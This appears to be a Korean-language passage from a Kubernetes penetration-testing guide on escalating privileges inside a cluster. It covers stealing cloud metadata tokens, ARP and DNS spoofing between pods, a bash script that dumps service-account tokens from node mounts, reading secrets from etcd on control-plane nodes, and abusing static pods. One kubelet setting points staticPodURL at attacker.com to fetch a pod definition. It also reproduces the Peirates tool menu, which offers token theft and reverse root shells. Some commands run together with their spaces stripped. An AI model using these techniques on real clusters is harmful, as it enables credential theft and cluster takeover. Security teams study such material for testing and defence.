Pod가 클라우드 환경 내에서 실행되는 경우, 메타데이터 엔드포인트에서 토큰을 유출하고 이를 사용하여 권한을 상승시킬 수 있습니다.
취약한 네트워크 서비스 검색
Kubernetes 환경 내에 있으므로 현재 Pod의 권한을 남용하여 권한을 상승시킬 수 없고 컨테이너에서 탈출할 수 없다면, 잠재적으로 취약한 서비스를 검색해야 합니다.
서비스
이를 위해 Kubernetes 환경의 모든 서비스를 가져오려고 시도할 수 있습니다:
kubectl get svc --all-namespaces
기본적으로 Kubernetes는 평면 네트워킹 스키마를 사용하므로 클러스터 내의 모든 pod/service가 서로 통신할 수 있습니다. 클러스터 내의 네임스페이스는 기본적으로 네트워크 보안 제한이 없습니다. 네임스페이스 내의 누구나 다른 네임스페이스와 통신할 수 있습니다.
스캐닝
다음 Bash 스크립트( Kubernetes 워크숍에서 가져옴)는 kubernetes 클러스터의 IP 범위를 설치하고 스캔합니다:
손상된 pod가 다른 pods가 인증해야 하는 민감한 서비스를 실행 중인 경우, 다른 pods에서 전송된 자격 증명을 로컬 통신을 스니핑하여 얻을 수 있습니다.
네트워크 스푸핑
기본적으로 ARP 스푸핑(그리고 그 덕분에 DNS 스푸핑)과 같은 기술은 Kubernetes 네트워크에서 작동합니다. 그런 다음, pod 내부에서 NET_RAW 기능이 있으면(기본적으로 존재함) 사용자 정의 네트워크 패킷을 전송하고 ARP 스푸핑을 통한 MitM 공격을 동일한 노드에서 실행 중인 모든 pods에 수행할 수 있습니다.
게다가, 악성 pod가 DNS 서버와 동일한 노드에서 실행 중인 경우, 클러스터의 모든 pods에 DNS 스푸핑 공격을 수행할 수 있습니다.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
스크립트 can-they.sh는 다른 팟의 토큰을 자동으로 가져와서 당신이 찾고 있는 권한이 있는지 확인합니다 (당신이 하나씩 찾는 대신):
DaemonSet은 클러스터의 모든 노드에서 실행될pod입니다. 따라서 DaemonSet이 privileged service account로 구성되어 있다면, 모든 노드에서 해당 privileged service account의 token을 찾을 수 있습니다. 이 token을 악용할 수 있습니다.
익스플로잇은 이전 섹션과 동일하지만, 이제 운에 의존하지 않습니다.
Pivot to Cloud
클러스터가 클라우드 서비스에 의해 관리되는 경우, 일반적으로 노드는 Pod와 다른 메타데이터 엔드포인트에 접근할 수 있습니다. 따라서 노드에서 메타데이터 엔드포인트에 접근해 보십시오 (또는 hostNetwork가 True인 pod에서):
컨테이너를 실행할 노드의 nodeName을 지정할 수 있다면, 제어-plane 노드 내부에서 셸을 얻고 etcd 데이터베이스를 가져오십시오:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane 노드는 master 역할을 하며 클라우드 관리 클러스터에서는 그 안에서 아무것도 실행할 수 없습니다.
etcd에서 비밀 읽기 1
nodeName 선택기를 사용하여 제어 평면 노드에서 포드를 실행할 수 있다면, 클러스터의 모든 구성과 모든 비밀을 포함하는 etcd 데이터베이스에 쉽게 접근할 수 있습니다.
아래는 제어 평면 노드에서 실행 중인 etcd에서 비밀을 가져오는 빠르고 간단한 방법입니다. etcd 클라이언트 유틸리티 etcdctl을 사용하여 포드를 생성하고 제어 평면 노드의 자격 증명을 사용하여 etcd가 실행 중인 위치에 연결하는 더 우아한 솔루션을 원하신다면, @mauilion의 이 예제 매니페스트를 확인해 보세요.
제어 평면 노드에서 etcd가 실행 중인지 확인하고 데이터베이스가 어디에 있는지 확인하세요 (이것은 kubeadm으로 생성된 클러스터입니다)
_Static Pods_는 API 서버가 관찰하지 않는 특정 노드의 kubelet 데몬에 의해 직접 관리됩니다. 제어 평면에 의해 관리되는 Pods(예: Deployment)와는 달리, kubelet은 각 static Pod를 감시하고 실패할 경우 재시작합니다.
따라서 static Pods는 항상 특정 노드의 하나의 Kubelet에 바인딩됩니다.
kubelet은 각 static Pod에 대해 Kubernetes API 서버에 미러 Pod를 자동으로 생성하려고 시도합니다. 이는 노드에서 실행 중인 Pods가 API 서버에서 볼 수 있지만, 거기서 제어할 수 없음을 의미합니다. Pod 이름은 노드 호스트 이름에 하이픈을 앞에 붙여서 접미사가 붙습니다.
정적 Pod의 spec은 다른 API 객체를 참조할 수 없습니다 (예: ServiceAccount, ConfigMap, Secret 등). 따라서 현재 노드에서 임의의 serviceAccount로 pod를 시작하기 위해 이 동작을 악용할 수 없습니다. 그러나 이는 다른 네임스페이스에서 pods를 실행하는 데 사용할 수 있습니다(어떤 이유로 유용할 경우).
노드 호스트 내부에 있는 경우 자신 내부에 static pod를 생성하도록 만들 수 있습니다. 이는 kube-system과 같은 다른 네임스페이스에 pod를 생성할 수 있게 해주기 때문에 매우 유용합니다.
static pod를 생성하기 위해서는 문서가 큰 도움이 됩니다. 기본적으로 두 가지가 필요합니다:
kubelet 서비스에서 --pod-manifest-path=/etc/kubernetes/manifests 매개변수를 구성하거나 kubelet config에서 (staticPodPath) 서비스를 재시작합니다.
**/etc/kubernetes/manifests**에 pod 정의를 생성합니다.
또 다른 더 은밀한 방법은 다음과 같습니다:
kubelet 구성 파일에서 staticPodURL 매개변수를 수정하고 staticPodURL: http://attacker.com:8765/pod.yaml와 같은 값을 설정합니다. 이렇게 하면 kubelet 프로세스가 지정된 URL에서 구성을 가져와 static pod를 생성합니다.
kube-system에서 권한 있는 pod를 생성하기 위한 pod 구성 예는 여기에서 가져온 것입니다:
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates